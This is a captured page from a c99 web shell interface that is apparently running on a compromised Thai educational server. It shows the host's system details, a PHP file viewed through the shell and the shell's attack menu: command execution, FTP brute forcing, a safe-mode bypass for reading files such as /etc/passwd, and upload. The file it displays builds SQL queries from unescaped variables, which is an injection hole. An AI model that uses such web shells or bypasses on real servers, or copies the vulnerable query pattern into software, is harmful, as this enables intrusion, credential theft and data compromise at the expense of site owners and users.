!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/edu_depart/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddMag.php (4.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
$result  mysql_query($sql) or die("Error".mysql_error());
$rs mysql_fetch_array($result);
    
$sql2 ="SELECT * FROM edu_product_tb WHERE Prod_code='$Prod_code'";
  
$res mysql_query($sql2) or die("Cannot Select").mysql_error();
  
$row mysql_fetch_array($res);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="841" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="841" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="SearchRes.php">ค้นหางานวิจัย</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /> รายชื่อข้อมูลงานวิจัย</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="InsertMag.php">
    <p><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
    <table width="78%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699">
      <tr bgcolor="#F4FDC6">
        <td colspan="3"><div align="center"><strong><font color="#003366" size="3" face="Tahoma">เพิ่มข้อมูล 
          วารสาร / บทความ</font></strong></div></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td width="26%"><div align="center"><font color="#000066" size="2" face="Tahoma">ชื่อวรสาร</font></div></td>
        <td width="2%" bordercolor="#006699">&nbsp;</td>
        <td width="72%" bordercolor="#006699"><input name="Magazine_name" type="text" id="Magazine_name" size="60" class="input" />
            <font color="#000066" size="2" face="Tahoma">&nbsp; </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font color="#003366" size="2" face="Tahoma">ประเภท</font></div></td>
        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp;</font></td>
        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">
          <input type="radio" name="Magazine_type" value="บทความวิชาการ" />
          บทความวิชาการ
          <input type="radio" name="Magazine_type" value="งานวิจัย" />
          งานวิจัย
          <input type="radio" name="Magazine_type" value="บทความทั่วไป" />
          บทความทั่วไป </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"></div></td>
        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp;</font></td>
        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#000066" size="2" face="Tahoma">ฉบับที่</font><font color="#003366" size="2" face="Tahoma">
          <input name="Vol" type="text" class="input" id="Vol" size="10" />
          เดิอน
          <select name="Month" id="Month">
            <? getThaiMonth();?>
          </select>
          ปีที่
          <input name="Year" type="text" id="Year" size="10" />
        </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font color="#003366" size="2" face="Tahoma">บทความโดยย่อ</font></div></td>
        <td bordercolor="#006699">&nbsp;</td>
        <td bordercolor="#006699"><textarea name="Ex_article" cols="50" rows="5" id="Ex_article"></textarea></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font color="#003366" size="2" face="Tahoma">ผู้เขียน</font></div></td>
        <td bordercolor="#006699">&nbsp;</td>
        <td bordercolor="#006699"><input name="Author" type="text" id="Author" size="50" /></td>
      </tr>
      <tr bgcolor="#F4FDC6">
        <td colspan="3"><div align="center">
            <input type="submit" name="Submit3" value="    เพิ่ม    " />
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
          <input type="reset" name="Submit22" value="   เคลียร์   " />
        </div></td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0051 ]--